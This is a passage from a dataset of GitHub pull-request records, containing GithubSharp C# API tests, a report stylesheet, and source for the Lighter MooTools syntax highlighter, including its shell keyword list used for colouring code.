baseGithubRequest.GetResponseWithReturnType();\r\n\r\n            Assert.IsNotNull(commit);\r\n            Assert.IsNotNull(commit.Result);\r\n            Assert.IsNotNullOrEmpty(commit.Result.sha);\r\n            Assert.IsNotNull(commit.Result.committer.date);\r\n            Assert.IsNotNull(commit.Result.author.name);\r\n            Assert.IsNotNull(commit.Result.message);\r\n            Assert.IsNotNull(commit.Result.parents);\r\n            Assert.IsTrue(commit.Result.parents.Count > 0);\r\n            Assert.IsNotNull(commit.Result.tree.sha);\r\n        }\r\n\r\n        [Test]\r\n        public void GithubRequestWithInput()\r\n        {\r\n            var gistFiles = new Dictionary<string, GithubSharp.Core.Models.GistFileForCreation>\r\n                                {\r\n                                    {\r\n                                        \"fileName.txt\", new Core.Models.GistFileForCreation\r\n                                                            {\r\n                                                                content = \"bla bla\"\r\n                                                            }\r\n                                        }\r\n                                };\r\n\r\n            var gistToCreate = new Core.Models.GistToCreateOrEdit\r\n            {\r\n                @public = true,\r\n                description = \"testGist\",\r\n                files = gistFiles\r\n            };\r\n            var baseGithubRequest = new Core.GithubRequestWithInputAndReturnType\r\n                    <GithubSharp.Core.Models.GistToCreateOrEdit, GithubSharp.Core.Models.Gist>(\r\n                        new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                        new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                        new Plugins.AuthProviders.UserPasswordAuthProvider.UserPasswordAuthProvider\r\n                                (TestSettings.Username, TestSettings.Password),\r\n                        \"gists\",\r\n                        GithubSharpHttpVerbs.Post,\r\n                        gistToCreate\r\n                );\r\n\r\n            GithubSharp.Core.IGithubResponseWithReturnType<GithubSharp.Core.Models.Gist> response = null;\r\n\r\n            try\r\n            {\r\n                response = baseGithubRequest.GetResponseWithReturnType();\r\n            }\r\n            catch (Exception err)\r\n            {\r\n                if (err is GithubSharp.Core.GithubException)\r\n                {\r\n                    var githuberr = err as GithubSharp.Core.GithubException;\r\n                    Assert.Fail(\"StatusCode : {0}, StatusText : {1}, Message : {2}\",\r\n                        githuberr.StatusCode, githuberr.StatusText, githuberr.GithubErrorResult.message);\r\n                    return;\r\n                }\r\n                Assert.Fail(err.Message);\r\n                return;\r\n            }\r\n            Assert.IsNotNull(response.Result);\r\n            Assert.AreEqual(response.Result.description, gistToCreate.description);\r\n\r\n            Assert.AreEqual(response.Result.files[\"fileName.txt\"].content, gistToCreate.files[\"fileName.txt\"].content);\r\n\r\n            //Let's clean up \r\n            var gistDeleteRequest = new Core.GithubRequest(\r\n                new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                        new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                        new Plugins.AuthProviders.UserPasswordAuthProvider.UserPasswordAuthProvider\r\n                                (TestSettings.Username, TestSettings.Password),\r\n                        string.Format(\"gists/{0}\", response.Result.id),\r\n                        GithubSharpHttpVerbs.Delete\r\n\r\n                );\r\n\r\n            var deleteResult = gistDeleteRequest.GetResponse();\r\n\r\n            Assert.IsNotNull(deleteResult);\r\n\r\n            Assert.AreEqual(deleteResult.StatusCode, 204);\r\n        }\r\n    }\r\n}\r\n\r\n", "Tests/CoreTests/Legacy/TestSettings.cs": "using System;\n\nnamespace CoreTests\n{\n\tpublic class TestSettings\n\t{\n\t\tpublic static string Username {\n\t\t\tget { return \"erikzaadi\";} //change to your user\n\t\t}\n\t\t\n\t\tpublic static string Password {\n\t\t\tget { return \"No, I won't put my password here\"; } //change to your password\n\t\t}\n\t}\n}\n\n", "Tests/CoreTests/PullRequestFixture.cs": "\ufeffusing GithubSharp.Core.API;\r\nusing GithubSharp.Plugins.LogProviders.NullLogger;\r\nusing NUnit.Framework;\r\n\r\nnamespace GithubSharp.Tests.CoreTests\r\n{\r\n    [TestFixture]\r\n    public class PullRequestFixture\r\n    {\r\n        [Test]\r\n        public void CanGetPullRequests()\r\n        {\r\n            var pullrequestApi = new PullRequest(new BasicCacher.BasicCacher(), new NullLogger());\r\n            var pullrequest = pullrequestApi.List(\"rhysc\", \"GithubSharp\");\r\n            Assert.NotNull(pullrequest);\r\n        }\r\n    }\r\n}\r\n", "Tests/CoreTests/RepositoryFixture.cs": "\ufeffusing System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing GithubSharp.Core.API;\r\nusing GithubSharp.Plugins.LogProviders.NullLogger;\r\nusing NUnit.Framework;\r\n\r\nnamespace GithubSharp.Tests.CoreTests\r\n{\r\n    [TestFixture]\r\n    public class RepositoryFixture\r\n    {\r\n        //http://json2csharp.com/ to create models\r\n        //http://jsonformat.com/ TO SEE CLEAN JSON MODELS\r\n        [Test]\r\n        public void CanGetRepository()\r\n        {\r\n            var repoApi = new Repository(new BasicCacher.BasicCacher(), new NullLogger());\r\n            var repos = repoApi.Get(\"rhysc\", \"GithubSharp\");\r\n            Assert.NotNull(repos);\r\n            Assert.AreEqual(\"GithubSharp\", repos.Name);\r\n        }\r\n    }\r\n}\r\n", "Tests/CoreTests/UserFixture.cs": "\ufeffusing GithubSharp.Core.API;\r\nusing GithubSharp.Plugins.LogProviders.NullLogger;\r\nusing NUnit.Framework;\r\n\r\nnamespace GithubSharp.Tests.CoreTests\r\n{\r\n    [TestFixture]\r\n    public class UserFixture\r\n    {\r\n        [Test]\r\n        public void UserCanBeRetrieved()\r\n        {\r\n            var userApi = new User(new BasicCacher.BasicCacher(), new NullLogger());\r\n            var user = userApi.Get(\"rhysc\");\r\n            Assert.NotNull(user);\r\n            Assert.AreEqual(\"Rhys Campbell\", user.Name);\r\n            Assert.AreEqual(\"RhysC\", user.Login);\r\n            Assert.AreEqual(\"https://api.github.com/users/RhysC\", user.Url);\r\n        }\r\n    }\r\n}\r\n", "_UpgradeReport_Files/UpgradeReport.css": "\ufeff/* Body style, for the entire document */\r\nbody\r\n{\r\n    background: #F3F3F4;\r\n    color: #1E1E1F;\r\n    font-family: \"Segoe UI\", Tahoma, Geneva, Verdana, sans-serif;\r\n    padding: 0;\r\n    margin: 0;\r\n}\r\n\r\n/* Header1 style, used for the main title */\r\nh1\r\n{\r\n    padding: 10px 0px 10px 10px;\r\n    font-size: 21pt;\r\n    background-color: #E2E2E2;\r\n    border-bottom: 1px #C1C1C2 solid; \r\n    color: #201F20;\r\n    margin: 0;\r\n    font-weight: normal;\r\n}\r\n\r\n/* Header2 style, used for \"Overview\" and other sections */\r\nh2\r\n{\r\n    font-size: 18pt;\r\n    font-weight: normal;\r\n    padding: 15px 0 5px 0;\r\n    margin: 0;\r\n}\r\n\r\n/* Header3 style, used for sub-sections, such as project name */\r\nh3\r\n{\r\n    font-weight: normal;\r\n    font-size: 15pt;\r\n    margin: 0;\r\n    padding: 15px 0 5px 0;\r\n    background-color: transparent;\r\n}\r\n\r\n/* Color all hyperlinks one color */\r\na\r\n{\r\n    color: #1382CE;\r\n}\r\n\r\n/* Table styles */ \r\ntable\r\n{\r\n    border-spacing: 0 0;\r\n    border-collapse: collapse;\r\n    font-size: 10pt;\r\n}\r\n\r\ntable th\r\n{\r\n    background: #E7E7E8;\r\n    text-align: left;\r\n    text-decoration: none;\r\n    font-weight: normal;\r\n    padding: 3px 6px 3px 6px;\r\n}\r\n\r\ntable td\r\n{\r\n    vertical-align: top;\r\n    padding: 3px 6px 5px 5px;\r\n    margin: 0px;\r\n    border: 1px solid #E7E7E8;\r\n    background: #F7F7F8;\r\n}\r\n\r\n/* Local link is a style for hyperlinks that link to file:/// content, there are lots so color them as 'normal' text until the user mouse overs */\r\n.localLink\r\n{\r\n    color: #1E1E1F;\r\n    background: #EEEEED;\r\n    text-decoration: none;\r\n}\r\n\r\n.localLink:hover\r\n{\r\n    color: #1382CE;\r\n    background: #FFFF99;\r\n    text-decoration: none;\r\n}\r\n\r\n/* Center text, used in the over views cells that contain message level counts */ \r\n.textCentered\r\n{\r\n    text-align: center;\r\n}\r\n\r\n/* The message cells in message tables should take up all avaliable space */\r\n.messageCell\r\n{\r\n    width: 100%;\r\n}\r\n\r\n/* Padding around the content after the h1 */ \r\n#content \r\n{\r\n\tpadding: 0px 12px 12px 12px; \r\n}\r\n\r\n/* The overview table expands to width, with a max width of 97% */ \r\n#overview table\r\n{\r\n    width: auto;\r\n    max-width: 75%; \r\n}\r\n\r\n/* The messages tables are always 97% width */\r\n#messages table\r\n{\r\n    width: 97%;\r\n}"}}
{"repo": "cowlby/Lighter", "pr_number": 7, "title": "MooTools 1.3", "state": "closed", "merged_at": null, "additions": 12, "deletions": 12, "files_changed": ["Compressed/Fuel.shell.js", "Compressed/Lighter.js", "Source/Fuel.js", "Source/Lighter.js"], "files_before": {"Compressed/Fuel.shell.js": "Fuel.shell=new Class({Extends:Fuel,language:\"shell\",initialize:function(a,b){this.keywords=new Hash({keywords:{csv:\"if, fi, then, elif, else, for, do, done, until, while, break, continue, case, function, return, in, eq, ne, gt, lt, ge, le\",alias:\"kw0\"},commands:{csv:\"alias, apropos, awk, bash, bc, bg, builtin, bzip2, cal, cat, cd, cfdisk, chgrp, chmod, chown, chrootcksum, clear, cmp, comm, command, cp, cron, crontab, csplit, cut, date, dc, dd, ddrescue, declare, df, diff, diff3, dig, dir, dircolors, dirname, dirs, du, echo, egrep, eject, enable, env, ethtool, eval, exec, exit, expand, export, expr, false, fdformat, fdisk, fg, fgrep, file, find, fmt, fold, format, free, fsck, ftp, gawk, getopts, grep, groups, gzip, hash, head, history, hostname, id, ifconfig, import, install, join, kill, less, let, ln, local, locate, logname, logout, look, lpc, lpr, lprint, lprintd, lprintq, lprm, ls, lsof, make, man, mkdir, mkfifo, mkisofs, mknod, more, mount, mtools, mv, netstat, nice, nl, nohup, nslookup, open, op, passwd, paste, pathchk, ping, popd, pr, printcap, printenv, printf, ps, pushd, pwd, quota, quotacheck, quotactl, ram, rcp, read, readonly, renice, remsync, rm, rmdir, rsync, screen, scp, sdiff, sed, select, seq, set, sftp, shift, shopt, shutdown, sleep, sort, source, split, ssh, strace, su, sudo, sum, symlink, sync, tail, tar, tee, test, time, times, touch, top, traceroute, trap, tr, true, tsort, tty, type, ulimit, umask, umount, unalias, uname, unexpand, uniq, units, unset, unshar, useradd, usermod, users, uuencode, uudecode, v, vdir, vi, watch, wc, whereis, which, who, whoami, wget, xargs, yes\",alias:\"kw1\"}}),this.patterns=new Hash({poundComments:{pattern:this.common.poundComments,alias:\"co0\"},strings:{pattern:this.common.strings,alias:\"st0\"}});this.parent(a,b)}});", "Compressed/Lighter.js": "(function(){Lighter=new Class({Implements:[Options],name:\"Lighter\",options:{altLines:\"\",clipboard:null,container:null,editable:false,flame:\"standard\",fuel:\"standard\",id:null,indent:-1,matchType:\"standard\",mode:\"pre\",path:null,strict:false},initialize:function(d,c){this.setOptions(c);this.id=this.options.id||this.name+\"_\"+$time();this.codeblock=$(d);this.container=$(this.options.container);this.code=a(this.codeblock.get(\"html\")).replace(/&lt;/gim,\"<\").replace(/&gt;/gim,\">\").replace(/&amp;/gim,\"&\");if(this.options.indent>-1){this.code=b(this.code,this.options.indent)}this.getPath();this.getClass();this.builder=new Hash({inline:this.createLighter.pass(\"code\",this),pre:this.createLighter.pass(\"pre\",this),ol:this.createLighterWithLines.pass([[\"ol\"],[\"li\"]],this),div:this.createLighterWithLines.pass([[\"div\"],[\"div\",\"span\"],true,\"span\"],this),table:this.createLighterWithLines.pass([[\"table\",\"tbody\"],[\"tr\",\"td\"],true,\"td\"],this)});Lighter.scripts=Lighter.scripts||{};Lighter.stylesheets=Lighter.stylesheets||{};this.loadStylesheet(this.options.flame,\"Flame.\"+this.options.flame+\".css\");this.loadFuel()},loadFuel:function(){try{this.fuel=new Fuel[this.options.fuel](this.code,{matchType:this.options.matchType,strict:this.options.strict});this.light()}catch(c){this.loadScript(this.options.fuel,\"Fuel.\"+this.options.fuel+\".js\",{load:this.loadFuel.bind(this),error:function(){this.options.fuel=\"standard\";this.loadFuel()}.bind(this)})}},light:function(){this.element=this.toElement();if(this.container){this.container.empty();this.element.inject(this.container)}else{this.codeblock.setStyle(\"display\",\"none\");this.element.inject(this.codeblock,\"after\");if(this.options.clipboard){this.loadClipboard()}}},unlight:function(){$(this).setStyle(\"display\",\"none\");this.codeblock.setStyle(\"display\",\"inherit\")},loadClipboard:function(){try{var c=new ZeroClipboard.Client();c.setPath(this.options.path);c.glue($(this.options.clipboard));c.setText(this.code);c.addEventListener(\"complete\",function(e,f){alert(\"Copied text to clipboard:\\n\"+f)})}catch(d){this.loadScript(\"clipboard\",\"ZeroClipboard.js\",{load:this.loadClipboard.bind(this),error:$empty});return false}},getPath:function(){if(!$chk(Lighter.path)){$$(\"head script\").each(function(d){var c=d.src.split(\"?\",1),e=/Lighter(\\.full|\\.lite)?\\.js$/gi;if(c[0].match(e)){Lighter.path=c[0].replace(e,\"\")}})}if(!this.options.path){this.options.path=Lighter.path}},getClass:function(){var d=this.codeblock.get(\"class\").split(\" \"),c=[null,null];switch(d.length){case 0:break;case 1:c=d[0].split(\":\");break;default:c=d[0].split(\":\")}if(c[0]){this.options.fuel=c[0]}if(c[1]){this.options.flame=c[1]}},loadScript:function(d,e,c){if($chk(Lighter.scripts[d])){Lighter.scripts[d].addEvents({load:c.load,error:c.error,readystatechange:function(){if([\"loaded\",\"complete\"].contains(this.readyState)){c.load()}}})}else{Lighter.scripts[d]=new Element(\"script\",{src:this.options.path+e+\"?\"+$time(),type:\"text/javascript\",events:{load:c.load,error:c.error,readystatechange:function(){if([\"loaded\",\"complete\"].contains(this.readyState)){c.load()}}}}).inject(document.head)}},loadStylesheet:function(c,d){if(!$chk(Lighter.stylesheets[c])){Lighter.stylesheets[c]=new Element(\"link\",{rel:\"stylesheet\",type:\"text/css\",media:\"screen\",href:this.options.path+d+\"?\"+$time()}).inject(document.head)}},createLighter:function(d){var c=new Element(d,{\"class\":this.options.flame+this.name}),e=0;if(!$defined(this.fuel.wicks[0])){c.appendText(this.code)}else{this.fuel.wicks.each(function(f){c.appendText(this.code.substring(e,f.index));this.insertAndKeepEl(c,f.text,f.type);e=f.index+f.text.length},this);if(e<this.code.length){c.appendText(this.code.substring(e,this.code.length))}}return c},createLighterWithLines:function(k,d,f,e){var m=new Element(k[0],{\"class\":this.options.flame+this.name,id:this.id}),j=new Element(d[0]),h=1,c=0,l=null;if(k[0]==\"table\"){m.set(\"cellpadding\",0).set(\"cellspacing\",0).set(\"border\",0)}if(k[1]){m=new Element(k[1]).inject(m)}if(d[1]){j=new Element(d[1]).inject(j)}j.addClass(this.options.flame+\"line\");if(f){h=this.insertLineNum(j,h,e)}this.fuel.wicks.each(function(n){if(c!=n.index){l=this.code.substring(c,n.index).split(\"\\n\");for(var o=0;o<l.length;o++){if(o<l.length-1){if(l[o]===\"\"){l[o]=\" \"}j=this.insertAndMakeEl(j,m,l[o],d);if(f){h=this.insertLineNum(j,h,e)}}else{this.insertAndKeepEl(j,l[o])}}}l=n.text.split(\"\\n\");for(var o=0;o<l.length;o++){if(o<l.length-1){j=this.insertAndMakeEl(j,m,l[o],d,n.type);if(f){h=this.insertLineNum(j,h,e)}}else{this.insertAndKeepEl(j,l[o],n.type)}}c=n.end},this);if(c<=this.code.length){l=this.code.substring(c,this.code.length).split(\"\\n\");for(var g=0;g<l.length;g++){j=this.insertAndMakeEl(j,m,l[g],d);if(f){h=this.insertLineNum(j,h,e)}}}if(this.options.altLines!==\"\"){if(this.options.altLines==\"hover\"){m.getElements(\".\"+this.options.flame+\"line\").addEvents({mouseover:function(){this.toggleClass(\"alt\")},mouseout:function(){this.toggleClass(\"alt\")}})}else{if(d[1]){m.getChildren(\":\"+this.options.altLines).getElement(\".\"+this.options.flame+\"line\").addClass(\"alt\")}else{m.getChildren(\":\"+this.options.altLines).addClass(\"alt\")}}}if(d[1]){m.getFirst().getChildren().addClass(this.options.flame+\"first\");m.getLast().getChildren().addClass(this.options.flame+\"last\")}else{m.getFirst().addClass(this.options.flame+\"first\");m.getLast().addClass(this.options.flame+\"last\")}if(k[1]){m=m.getParent()}return m},insertAndKeepEl:function(e,f,c){if(f.length>0){var d=new Element(\"span\",{text:f});if(c){d.addClass(this.fuel.aliases[c]||c)}d.inject(e)}},insertAndMakeEl:function(d,e,f,h,c){this.insertAndKeepEl(d,f,c);if(h[1]){d=d.getParent()}d.inject(e);var g=new Element(h[0]);if(h[1]){g=new Element(h[1]).inject(g)}g.addClass(this.options.flame+\"line\");return g},insertLineNum:function(d,f,c){var e=new Element(c,{text:f++,\"class\":this.options.flame+\"num\"});e.inject(d.getParent(),\"top\");return f},toElement:function(){if(!this.element){this.element=this.builder[this.options.mode]();if(this.options.editable){this.element.set(\"contenteditable\",\"true\")}}return this.element}});Element.implement({light:function(c){return new Lighter(this,c)}});function a(c){return c.replace(/(^\\s*\\n|\\n\\s*$)/gi,\"\")}function b(f,d){for(var e=0,c=\"\";e<d;e++){c+=\" \"}return f.replace(/\\t/g,c)}})();var Fuel=new Class({Implements:[Options],options:{matchType:\"standard\",strict:false},language:\"\",patterns:new Hash(),keywords:new Hash(),delimiters:new Hash({start:null,end:null}),common:{slashComments:/(?:^|[^\\\\])\\/\\/.*$/gm,poundComments:/#.*$/gm,multiComments:/\\/\\*[\\s\\S]*?\\*\\//gm,aposStrings:/'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm,quotedStrings:/\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm,multiLineSingleQuotedStrings:/'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm,multiLineDoubleQuotedStrings:/\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm,multiLineStrings:/'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'|\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm,singleQuotedString:/'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'/gm,doubleQuotedString:/\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm,strings:/'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'|\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm,properties:/\\.([\\w]+)\\s*/gi,methodCalls:/\\.([\\w]+)\\s*\\(/gm,functionCalls:/\\b([\\w]+)\\s*\\(/gm,brackets:/\\{|\\}|\\(|\\)|\\[|\\]/g,numbers:/\\b((?:(\\d+)?\\.)?[0-9]+|0x[0-9A-F]+)\\b/gi},initialize:function(a,j,i){this.setOptions(j);this.wicks=i||[];this.code=a;this.aliases=$H();this.rules=$H();this.builder=new Hash({standard:this.findMatches,lazy:this.findMatchesLazy});if(!j.strict){if(this.delimiters.start){this.addFuel(\"delimBeg\",this.delimiters.start,\"de1\")}if(this.delimiters.end){this.addFuel(\"delimEnd\",this.delimiters.end,\"de2\")}}this.keywords.each(function(l,k){if(l.csv!=\"\"){this.addFuel(k,this.csvToRegExp(l.csv,l.mod||\"g\"),l.alias)}},this);this.patterns.each(function(k,l){this.addFuel(l,k.pattern,k.alias)},this);var h=0,b=this.code.length,d=\"\",c=this.delimiters,g=[],f=null,e=null;if(!j.strict){g.extend(this.builder[j.matchType].pass(this.code,this)())}else{if(c.start&&c.end){while((f=c.start.exec(this.code))!=null){c.end.lastIndex=c.start.lastIndex;if((e=c.end.exec(this.code))!=null){g.push(new Wick(f[0],\"de1\",f.index));h=c.start.lastIndex;b=e.index-1;d=this.code.substring(h,b);g.extend(this.builder[j.matchType].pass([d,h],this)());g.push(new Wick(e[0],\"de2\",e.index))}}}}this.wicks=g},addFuel:function(c,a,b){this.rules[c]=a;this.addAlias(c,b)},addAlias:function(b,a){this.aliases[b]=a||b},csvToRegExp:function(a,b){return new RegExp(\"\\\\b(\"+a.replace(/,\\s*/g,\"|\")+\")\\\\b\",b)},delimToRegExp:function(d,b,a,e,f){d=d.escapeRegExp();if(b){b=b.escapeRegExp()}a=(a)?a.escapeRegExp():d;var c=(b)?d+\"[^\"+a+b+\"\\\\n]*(?:\"+b+\".[^\"+a+b+\"\\\\n]*)*\"+a:d+\"[^\"+a+\"\\\\n]*\"+a;return new RegExp(c+(f||\"\"),e||\"\")},strictRegExp:function(){var b=\"(\";for(var a=0;a<arguments.length;a++){b+=arguments[a].escapeRegExp();b+=(a<arguments.length-1)?\"|\":\"\"}b+=\")\";return new RegExp(b,\"gim\")},findMatches:function(d,f){var b=[],e=0,a=d.length;insertIndex=0,match=null,type=null,newWick=null,rule=null,rules={},currentMatch=null,futureMatch=null;f=f||0;this.rules.each(function(g,h){rules[h]={pattern:g,nextIndex:0}},this);while(e<d.length){a=d.length;match=null;for(rule in rules){rules[rule].pattern.lastIndex=e;currentMatch=rules[rule].pattern.exec(d);if(currentMatch===null){delete rules[rule]}else{if(currentMatch.index<a||(currentMatch.index==a&&match[0].length<currentMatch[0].length)){match=currentMatch;type=rule;a=currentMatch.index}rules[rule].nextIndex=rules[rule].pattern.lastIndex-currentMatch[0].length}}if(match!=null){index=(match[1]&&match[0].contains(match[1]))?match.index+match[0].indexOf(match[1]):match.index;newWick=new Wick(match[1]||match[0],type,index+f);b.push(newWick);futureMatch=rules[type].pattern.exec(d);if(!futureMatch){rules[type].nextIndex=d.length}else{rules[type].nextIndex=rules[type].pattern.lastIndex-futureMatch[0].length}var c=d.length;for(rule in rules){if(rules[rule].nextIndex<c){c=rules[rule].nextIndex}}e=Math.max(c,newWick.end-f)}else{break}}return b},findMatchesLazy:function(c,d){var a=this.wicks,b=null;index=0;d=d||0;this.rules.each(function(e,f){while((b=e.exec(c))!=null){index=(b[1]&&b[0].contains(b[1]))?b.index+b[0].indexOf(b[1]):b.index;a.push(new Wick(b[1]||b[0],f,index+d))}},this);return this.purgeWicks(a)},purgeWicks:function(a){a=a.sort(this.compareWicks);for(var c=0,b=0;c<a.length;c++){if(a[c]==null){continue}for(b=c+1;b<a.length&&a[c]!=null;b++){if(a[b]==null){continue}else{if(a[b].isBeyond(a[c])){break}else{if(a[b].overlaps(a[c])){a[c]=null}else{if(a[c].contains(a[b])){a[b]=null}}}}}}return a.clean()},compareWicks:function(b,a){return b.index-a.index}});Fuel.standard=new Class({Extends:Fuel,initialize:function(c,b,a){this.parent(c,b,a)}});var Wick=new Class({initialize:function(b,c,a){this.text=b;this.type=c;this.index=a;this.length=this.text.length;this.end=this.index+this.length},contains:function(a){return(a.index>=this.index&&a.index<this.end)},isBeyond:function(a){return(this.index>=a.end)},overlaps:function(a){return(this.index==a.index&&this.length>a.length)},toString:function(){return this.index+\" - \"+this.text+\" - \"+this.end}});", "Source/Fuel.js": "/*\n---\ndescription: Code parsing engine for Lighter.\n\nlicense: MIT-style\n\nauthors:\n- Jose Prado\n\nrequires:\n  core/1.2.4: '*'\n\nprovides: [Fuel]\n\n...\n*/\nvar Fuel = new Class({\n\t\n\tImplements: [Options],\n\toptions: {\n\t\tmatchType: \"standard\",\n\t\tstrict: false\n\t},\n\tlanguage: '',\n\t\n\tpatterns: new Hash(),\n\tkeywords: new Hash(),\n\tdelimiters: new Hash({\n\t\tstart: null,\n\t\tend: null\n\t}),\n\n\t/************************\n\t * Common Regex Rules\n\t ***********************/\n\tcommon: {\t\n\t\tslashComments: /(?:^|[^\\\\])\\/\\/.*$/gm, // Matches a C style single-line comment.\n\t\tpoundComments: /#.*$/gm,               // Matches a Perl style single-line comment.\n\t\tmultiComments: /\\/\\*[\\s\\S]*?\\*\\//gm,   // Matches a C style multi-line comment.\n\t\taposStrings:   /'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm, // Matches a string enclosed by single quotes. Legacy.\n\t\tquotedStrings: /\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm, // Matches a string enclosed by double quotes. Legacy.\n\t\tmultiLineSingleQuotedStrings: /'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'/gm, // Matches a string enclosed by single quotes across multiple lines.\n\t\tmultiLineDoubleQuotedStrings: /\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm, // Matches a string enclosed by double quotes across multiple lines.\n\t\tmultiLineStrings:   /'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'|\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"/gm, // Matches both.\n\t\tsingleQuotedString: /'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'/gm, // Matches a string enclosed by single quotes.\n\t\tdoubleQuotedString: /\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm, // Matches a string enclosed by double quotes.\n\t\tstrings: /'[^'\\\\\\r\\n]*(?:\\\\.[^'\\\\\\r\\n]*)*'|\"[^\"\\\\\\r\\n]*(?:\\\\.[^\"\\\\\\r\\n]*)*\"/gm, // Matches both.\n\t\tproperties:    /\\.([\\w]+)\\s*/gi,     // Matches a property: .property style.\n\t\tmethodCalls:   /\\.([\\w]+)\\s*\\(/gm,   // Matches a method call: .methodName() style.\n\t\tfunctionCalls: /\\b([\\w]+)\\s*\\(/gm,   // Matches a function call: functionName() style.\n\t\tbrackets:      /\\{|\\}|\\(|\\)|\\[|\\]/g, // Matches any of the common brackets.\n\t\tnumbers:       /\\b((?:(\\d+)?\\.)?[0-9]+|0x[0-9A-F]+)\\b/gi // Matches integers, decimals, hexadecimals.\n\t},\n\t\n\t/************************\n\t * Fuel Constructor\n\t ***********************/\n\tinitialize: function(code, options, wicks) {\n\t\tthis.setOptions(options);\n\t\tthis.wicks = wicks || [];\n\t\tthis.code = code;\n\t\tthis.aliases = $H();\n\t\tthis.rules = $H();\n\t\t\n\t\t// Set builder object for matchType.\n\t\tthis.builder = new Hash({\n\t\t\t'standard': this.findMatches,\n\t\t\t'lazy':     this.findMatchesLazy\n\t\t});\n\t\t\n\t\t// Add delimiter rules if not in strict mode\n\t\tif (!options.strict) {\n\t\t\tif (this.delimiters.start) this.addFuel('delimBeg', this.delimiters.start, 'de1');\n\t\t\tif (this.delimiters.end)   this.addFuel('delimEnd', this.delimiters.end,   'de2');\n\t\t}\n\t\t\n\t\t// Set Keyword Rules from this.keywords object.\n\t\tthis.keywords.each(function(keywordSet, ruleName) {\n\t\t\tif (keywordSet.csv != '') {\n\t\t\t\tthis.addFuel(ruleName, this.csvToRegExp(keywordSet.csv, keywordSet.mod || \"g\"), keywordSet.alias);\n\t\t\t}\n\t\t}, this);\n\t\t\n\t\t// Set Rules from this.patterns object.\n\t\tthis.patterns.each(function(regex, ruleName) {\n\t\t\tthis.addFuel(ruleName, regex.pattern, regex.alias);\n\t\t}, this);\n\t\t\n\t\t/** Process source code based on match type. */\n\t\tvar codeBeg = 0,\n\t\t    codeEnd = this.code.length,\n\t\t    codeSeg = '',\n\t\t    delim   = this.delimiters,\n\t\t    matches = [],\n\t\t    match   = null,\n\t\t    endMatch = null;\n\t\t\n\t\tif (!options.strict) {\n\t\t\t// Find matches through the complete source code.\n\t\t\tmatches.extend(this.builder[options.matchType].pass(this.code, this)());\n\t\t} else if (delim.start && delim.end) {\n\t\t\t// Find areas between language delimiters and find matches there.\n\t\t\twhile ((match = delim.start.exec(this.code)) != null ) {\n\t\t\t\tdelim.end.lastIndex = delim.start.lastIndex;\n\t\t\t\tif ((endMatch = delim.end.exec(this.code)) != null ) {\n\t\t\t\t\tmatches.push(new Wick(match[0], 'de1', match.index));\n\t\t\t\t\tcodeBeg = delim.start.lastIndex;\n\t\t\t\t\tcodeEnd = endMatch.index-1;\n\t\t\t\t\tcodeSeg = this.code.substring(codeBeg, codeEnd);\n\t\t\t\t\tmatches.extend(this.builder[options.matchType].pass([codeSeg, codeBeg], this)());\n\t\t\t\t\tmatches.push(new Wick(endMatch[0], 'de2', endMatch.index));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tthis.wicks = matches;\n\t},\n\t\n\t/************************\n\t * Regex Helper methods.\n\t ***********************/\n\taddFuel: function(fuelName, RegEx, className) {\n\t\tthis.rules[fuelName] = RegEx;\n\t\tthis.addAlias(fuelName, className);\n\t},\n\taddAlias: function(key, alias) { this.aliases[key] = alias || key; },\n\tcsvToRegExp: function(csv, mod) {return new RegExp('\\\\b(' + csv.replace(/,\\s*/g, '|') + ')\\\\b', mod);},\n\tdelimToRegExp: function(beg, esc, end, mod, suffix) {\n\t\tbeg = beg.escapeRegExp();\n\t\tif (esc) esc = esc.escapeRegExp();\n\t\tend = (end) ? end.escapeRegExp() : beg;\n\t\tvar pat = (esc) ? beg+\"[^\"+end+esc+'\\\\n]*(?:'+esc+'.[^'+end+esc+'\\\\n]*)*'+end : beg+\"[^\"+end+'\\\\n]*'+end;\n\t\treturn new RegExp(pat+(suffix || ''), mod || '');\n\t},\n\tstrictRegExp: function() {\n\t\tvar regex = '(';\n\t\tfor (var i = 0; i < arguments.length; i++) {\n\t\t\tregex += arguments[i].escapeRegExp();\n\t\t\tregex += (i < arguments.length - 1) ? '|' : '';\n\t\t}\n\t\tregex += ')';\n\t\treturn new RegExp(regex, \"gim\");\n\t},\n\t\n\t/************************\n\t * Match finding Methods\n\t ***********************/\n\tfindMatches: function(code, offset) {\n\t\tvar wicks       = [],\n\t\t    startIndex  = 0,\n\t\t    matchIndex  = code.length\n\t\t    insertIndex = 0,\n\t\t    match      = null,\n\t\t    type       = null,\n\t\t    newWick    = null,\n\t\t    rule       = null,\n\t\t    rules      = {},\n\t\t    currentMatch = null,\n\t\t    futureMatch  = null;\n\t\t\n\t\toffset = offset || 0;\n\t\t\n\t\t// Create assosciative array of rules for faster access via for...in loop instead of .each().\n\t\tthis.rules.each(function(regex, rule) {\n\t\t\trules[rule] = {pattern: regex, nextIndex: 0};\n\t\t}, this);\n\t\t\t\n\t\t/**\n\t\t * Step through the source code sequentially finding the left-most/earliest matches and then\n\t\t 